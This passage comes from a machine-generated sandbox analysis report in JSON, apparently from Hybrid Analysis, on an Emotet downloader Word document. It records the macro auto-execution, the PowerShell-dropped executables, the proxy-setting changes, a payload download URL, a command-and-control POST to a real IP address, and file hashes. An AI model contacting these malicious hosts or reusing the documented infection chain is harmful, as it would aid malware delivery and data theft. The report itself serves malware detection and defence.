00025998-00003536-22420-228-0040CCF8\n cpuid at 00026222-00003372-25813-247-0040CCF8\n cpuid at 00026760-00003396-30817-228-0040CCF8\n cpuid at 00026973-00002400-33929-255-0040CCF8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /dma/usbccid/sess/ HTTP/1.1\nReferer: http://172.105.11.15/dma/usbccid/sess/\nContent-Type: application/x-www-form-urlencoded\nDNT: 1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: 172.105.11.15:8080\nContent-Length: 475\nConnection: Keep-Alive\nCache-Control: no-cache\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"13/69 Antivirus vendors marked dropped file \"897.exe\" as malicious (classified as \"Packed-FVW\" with 18% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Allocates virtual memory in a remote process","description":"\"powershell.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Contains ability to download files from the internet","description":"InternetReadFile@WININET.DLL at 00026973-00002400-33929-87-00401383","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-17","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates new processes","description":"\"897.exe\" is creating a new process (Name: \"%USERPROFILE%\\897.exe\", Handle: 364)\n \"capprep.exe\" is creating a new process (Name: \"%WINDIR%\\SysWOW64\\capprep.exe\", Handle: 260)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"powershell.exe\" opened \"\\Device\\MountPointManager\"\n \"897.exe\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"172.105.11.15\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 146.82.206.253 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"CreateToolhelp32Snapshot@KERNEL32.DLL at 00025998-00003536-22420-143-00401943\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00026222-00003372-25813-143-00401943\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00026760-00003396-30817-143-00401943\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00026973-00002400-33929-143-00401943","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1215","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"powershell.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"capprep.exe\" (Access type: \"SETVAL\"; Path: \"HKU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"capprep.exe\" (Access type: \"DELETEVAL\"; Path: \"HKU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"capprep.exe\" (Access type: \"DELETEVAL\"; Path: \"HKU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains ability to flush the cache line","description":"clflush byte ptr [FFFFFFFFC592F8FFh] at 00025715-00002684-16752-1271-3FC7244B","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-60","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with suspicious keywords","description":"Found suspicious keyword \"CreateObject\" which indicates: \"May create an OLE object\"\n Found suspicious keyword \"Open\" which indicates: \"May open a file\"\n Found suspicious keyword \"VIRTUAL\" which indicates: \"May detect virtualization\"\n Found suspicious keyword \"Run\" which indicates: \"May run an executable file or a system command\"\n Found suspicious keyword \"system\" which indicates: \"May run an executable file or a system command on a Mac (if combined with libc.dylib)\"\n Found suspicious keyword \"ShowWindow\" which indicates: \"May hide the application\"","origin":"Static Parser","relevance":10,"id":"static-15","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes a process with a very long commandline","description":"$2e","origin":"Monitored Target","relevance":10,"id":"target-31","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"13/59 Antivirus vendors marked sample as malicious (22% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"13/59 Antivirus vendors marked sample as malicious (22% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"malicious","category":"General","name":"Document spawns new processes","description":"Document spawned a new process (macro present)","origin":"Indicator Combinations","relevance":7,"id":"summary-3","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"malicious","category":"General","name":"GETs files from a webserver","description":"\"GET /2tgmnk/fJZIPCYV/ HTTP/1.1\nHost: www.eteensblog.com\nConnection: Keep-Alive\"","origin":"Network Traffic","relevance":10,"id":"network-16","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"13/69 Antivirus vendors marked spawned process \"897.exe\" (PID: 3536) as malicious (classified as \"Packed-FVW\" with 18% detection rate)\n 13/69 Antivirus vendors marked spawned process \"897.exe\" (PID: 3372) as malicious (classified as \"Packed-FVW\" with 18% detection rate)\n 13/69 Antivirus vendors marked spawned process \"capprep.exe\" (PID: 3396) as malicious (classified as \"Packed-FVW\" with 18% detection rate)\n 13/69 Antivirus vendors marked spawned process \"capprep.exe\" (PID: 2400) as malicious (classified as \"Packed-FVW\" with 18% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$2f","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"Found malicious artifacts related to \"146.82.206.253\": ...\n\n URL: http://www.eteensblog.com/2tgmnk/fJZIPCYV/ (AV positives: 8/71 scanned on 10/04/2019 20:38:08)\n URL: http://www.eteensblog.com/2tgmnk/fJZIPCYV (AV positives: 6/72 scanned on 10/04/2019 18:15:12)\n URL: http://contactlenses.cc/ (AV positives: 2/70 scanned on 07/21/2019 05:51:05)\n URL: http://galleries10.exploitedteens.com/ (AV positives: 1/50 scanned on 11/07/2013 03:56:09)\n File SHA256: 4e2f067e6fba50b24d168515dce7f31da8bd4d3e9f93fa047d404878f338a710 (AV positives: 13/72 scanned on 10/04/2019 20:31:51)\n File SHA256: faabccb1ffe41bc64521776a9ce31eb61725beb8efaad424de61bc6aa432d09c (AV positives: 16/71 scanned on 10/04/2019 20:05:50)\n File SHA256: 3f1f8fd989386c1beddf6223113b18d788f4862325bfae0828080e29e067599b (AV positives: 17/72 scanned on 10/04/2019 18:20:20)\n File SHA256: a6e58fcdd3b8743865c45d8035bcca1f3ebfde77d9ff9139b5a379289a088cd7 (AV positives: 15/73 scanned on 10/04/2019 18:11:19)","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with keywords that indicate auto-execute behavior","description":"Found keyword \"AutoOpen\" which indicates: \"Runs when the Word document is opened\"","origin":"Static Parser","mitre_attack_id":"T1137","relevance":10,"id":"static-14","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$30","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]}]},"activity":{"stats":{"process_count":6,"spawned_processes_count":6,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":26,"imported_dlls_count":161,"dropped_files_count":0,"extracted_files_count":20,"files_written_count":169,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":140,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":140,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["batdow","donoff","empiremonkeydocument","expiro","genscript","tiggre","macros-on-open"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"sandbox_reports":[{"id":"5d97b0d4028838be51980104","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Doc.Downloader.Emotet","contacted_countries":["USA"],"submit_name":"RE_583658295301_1004.doc","analysis_start_time":"2019-10-04T20:51:42+00:00","indicators_count":{"informative":25,"suspicious":22,"malicious":13},"tags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"146.82.206.253","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]}],"dns_resolutions":[{"domain":"www.eteensblog.com","address":"146.82.206.253","ttl":1799,"country":"United States","registrar_name":"DNC Holdings, Inc","registrar_organization":"BGP, LLC","registrar_name_servers":"NS1.SWIFTWILL.COM","registrar_creation_date":"2006-01-16T13:41:27+00:00","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]}],"http_requests":[{"host":"www.eteensblog.com","host_ip":"146.82.206.253:80","url":"/2tgmnk/fJZIPCYV/","method":"GET","header":"GET /2tgmnk/fJZIPCYV/ HTTP/1.1\nHost: www.eteensblog.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"host":"172.105.11.15","host_ip":"172.105.11.15:8080","url":"/dma/usbccid/sess/","method":"POST","header":"POST /dma/usbccid/sess/ HTTP/1.1\nReferer: http://172.105.11.15/dma/usbccid/sess/\nContent-Type: application/x-www-form-urlencoded\nDNT: 1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: 172.105.11.15:8080\nContent-Length: 475\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}],"processes":[{"pid":3988,"ppid":0,"name":"WINWORD.EXE","command_line":"/n \"C:\\RE_583658295301_1004.doc\"","sha256":"c0a081e6d5e0279be4503f26f0b01bcedeebf1dfb95fcbe4fb935f881d111da0","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","uid":"00025308-00003988","icon":"$31"},{"pid":2684,"ppid":0,"name":"powershell.exe","command_line":"$32","sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","uid":"00025715-00002684","icon":"$33"},{"pid":3536,"ppid":2684,"name":"897.exe","command_line":"","sha256":"c423b918e18b82ec4d36391f7f631f9514be8f0a087fc987faf6d0592c8ec2ae","normalized_path":"%USERPROFILE%\\897.exe","parent_uid":"00025715-00002684","uid":"00025998-00003536"},{"pid":3372,"ppid":3536,"name":"897.exe","command_line":"--caaf215f","sha256":"c423b918e18b82ec4d36391f7f631f9514be8f0a087fc987faf6d0592c8ec2ae","normalized_path":"%USERPROFILE%\\897.exe","parent_uid":"00025998-00003536","uid":"00026222-00003372"},{"pid":3396,"ppid":0,"name":"capprep.exe","command_line":"","sha256":"c423b918e18b82ec4d36391f7f631f9514be8f0a087fc987faf6d0592c8ec2ae","normalized_path":"%WINDIR%\\SysWOW64\\capprep.exe","uid":"00026760-00003396","icon":"$34"},{"pid":2400,"ppid":3396,"name":"capprep.exe","command_line":"--83c0e935","sha256":"c423b918e18b82ec4d36391f7f631f9514be8f0a087fc987faf6d0592c8ec2ae","normalized_path":"%WINDIR%\\SysWOW64\\capprep.exe","parent_uid":"00026760-00003396","uid":"00026973-00002400"}],"all_imported_dlls":["RICHED20.DLL","clbcatq.dll","Wldap32.dll","msxml6r.dll","rsaenh.dll","wbemprox.dll","netutils.dll","ntmarta.dll","USP10.DLL","slc.dll","MSPTLS.DLL","iertutil.dll","fastprox.dll","System.ni.dll","rasadhlp.dll","System.Data.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","wtsapi32.dll","mscoreei.dll","linkinfo.dll","cscapi.dll","GdiPlus.dll","rpcss.dll","mscorjit.dll","rasman.dll","OSPPC.DLL","bcrypt.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","ALRTINTL.DLL","mswsock.dll","wship6.dll","IPHLPAPI.DLL","cryptbase.dll","urlmon.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","ntshrui.dll","RpcRtRemote.dll","comdlg32.dll","shell32.dll","ws2_32.dll","devobj.dll","shdocvw.dll","msasn1.dll","profapi.dll","dnsapi.dll","System.Management.Automation.ni.dll","ole32.dll","MSORES.DLL","msxml6.dll","msvcr80.dll","psapi.dll","normaliz.dll","GKWord.dll","gdi32.dll","lpk.dll","SendToOneNoteUI.dll","msproof7.dll","fontsub.dll","netprofm.dll","mscoree.dll","srvcli.dll","tzres.dll","System.Data.ni.dll","kernel32.dll","wmiutils.dll","atl.dll","apphelp.dll","Microsoft.WSMan.Management.ni.dll","System.Xml.ni.dll","GFX.DLL","msimg32.dll","msvcrt.dll","WSHTCPIP.DLL","Microsoft.PowerShell.Commands.Management.ni.dll","rasapi32.dll","wow64.dll","mxdwdrv.dll","userenv.dll","wbemdisp.dll","ExplorerFrame.dll","Microsoft.PowerShell.Security.ni.dll","nsi.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","shfolder.dll","rtutils.dll","winnsi.dll","MMDevAPI.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","unidrvui.dll","sxs.dll","setupapi.dll","cryptsp.dll","dhcpcsvc.dll","FWPUCLNT.DLL","rpcrt4.dll","imm32.dll","cfgmgr32.dll","FM20ENU.DLL","VBE7INTL.DLL","System.Management.ni.dll","dwmapi.dll","duser.dll","winhttp.dll","secur32.dll","sspicli.dll","System.Transactions.ni.dll","wow64win.dll","winmm.dll","wshqos.dll","OART.DLL","api-ms-win-downlevel-version-l1-1-0.dll","wininet.dll","comctl32.dll","dhcpcsvc6.dll","mscorwks.dll","msvcr90.dll","dui70.dll","System.Transactions.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","webio.dll","nlaapi.dll","WWINTL.DLL","api-ms-win-downlevel-advapi32-l1-1-0.dll","MSOINTL.DLL","version.dll","KernelBase.dll","FM20.DLL","user32.dll","powrprof.dll","wbemcomn.dll","ntdsapi.dll","VBE7.DLL","sechost.dll","usp10.dll","wbemsvc.dll","imageres.dll","mscorlib.ni.dll","System.Core.ni.dll","crypt32.dll","ntdll.dll","shlwapi.dll","advapi32.dll","credssp.dll","MSO.DLL","VxSSL64.dll","System.DirectoryServices.ni.dll","WWLIB.DLL","mscorrc.dll","wow64cpu.dll","npmproxy.dll","msi.dll","uxtheme.dll","msctf.dll","oleaut32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","msvcr100.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","System.Configuration.Install.ni.dll","System.Configuration.ni.dll","propsys.dll","WindowsCodecs.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"897.exe","sha256":"c423b918e18b82ec4d36391f7f631f9514be8f0a087fc987faf6d0592c8ec2ae","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"~__583658295301_1004.doc","sha256":"3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"RE_583658295301_1004.LNK","sha256":"ee9c184e79d73d04f4761fa7698ca5aecdca8ec936f4aeeb2e931bf27140f3cb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"index.dat","sha256":"60c2f6a6102086f553d5d6e4785f4bda4de1a0a41fb32d6221c449d3375b1b1c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"N8JKJMHQ1SGAVY4IHO3E.temp","sha256":"ae5b772f817e11877e69a1dd6ad51fe539abfb365ec14ea1cb9c0d4618b70bbd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"386260D7.wmf","sha256":"c38e0c4ec3054966ad93028a6e8de26df311a9afb246e93eb1cfb90fe247b287","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"3B6F62A9.wmf","sha256":"0aab093b38ad40aaa2af87d3f4cebbd2e9fdfcf0dcf17998f1766e4f750baa8d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"443E14AE.wmf","sha256":"83fe77a98a9d4e89dfb299032ad649d9f1f78c10735edc7a81d1a318598685b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"4F9A5442.wmf","sha256":"83fe77a98a9d4e89dfb299032ad649d9f1f78c10735edc7a81d1a318598685b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"5FB2BDA0.wmf","sha256":"83fe77a98a9d4e89dfb299032ad649d9f1f78c10735edc7a81d1a318598685b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"80E439F.wmf","sha256":"e8d46121e4581e06e0ca6001f0f3972ce869426303b283105d3575c9cd3d6988","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"849394EC.wmf","sha256":"83fe77a98a9d4e89dfb299032ad649d9f1f78c10735edc7a81d1a318598685b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"85992E05.wmf","sha256":"2a38872652f7c782f149d659581288a5069b9139d24f067c723c64422277a2bb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"8785896.wmf","sha256":"83fe77a98a9d4e89dfb299032ad649d9f1f78c10735edc7a81d1a318598685b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"98416121.wmf","sha256":"2e209505cd516d11823ad079d29004e05c2f2c4ffaf0dacbe7091ec9f19ba856","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"B231C914.wmf","sha256":"83fe77a98a9d4e89dfb299032ad649d9f1f78c10735edc7a81d1a318598685b1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"C2DA935B.wmf","sha256":"ddf81e4172c73ce5c8ccea7d144c6bf6be6744f23538442119493d891fffb3f8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"MSForms.exd","sha256":"d8b640d1458fae20f925259aa71ef436eb5e5843e8df199a9297c9e28cb37f65","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"~WRS_1A55B392-6FBE-4E4D-8194-2A5527168528_.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"~_Normal.dotm","sha256":"3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]}],"files_written":[{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Templates","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$Normal.dotm","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\Normal.dotm","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{1A55B392-6FBE-4E4D-8194-2A5527168528}.tmp","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"C:\\RE_583658295301_1004.doc","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%TEMP%\\~DF6CF2E1016DFBD351.TMP","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"C:\\~$_583658295301_1004.doc","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{B1069311-A861-4BFD-9969-2C8C5C826436}.tmp","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Office\\review.rcd","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Office\\adhoc.rcd","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\RE_583658295301_1004.LNK","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{061576E4-2B1D-49B2-BE1F-453A66FB6A6A}.tmp","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\microsoft shared\\OFFICE14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%TEMP%\\CVRE6A.tmp","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\FM20.DLL","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%TEMP%\\Word8.0","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL\\3","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%TEMP%\\Word8.0\\MSForms.exd","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Office","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\RE_583658295301_1004","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\x64\\3\\sendtoonenote.BUD","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\x64\\3\\sendtoonenote.gpd","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\x64\\3\\stdnames.gpd","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\x64\\3\\SendToOneNoteNames.gpd","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\x64\\3\\SendToOneNoteFilter.gpd","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\x64\\3\\SendToOneNote.ini","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet 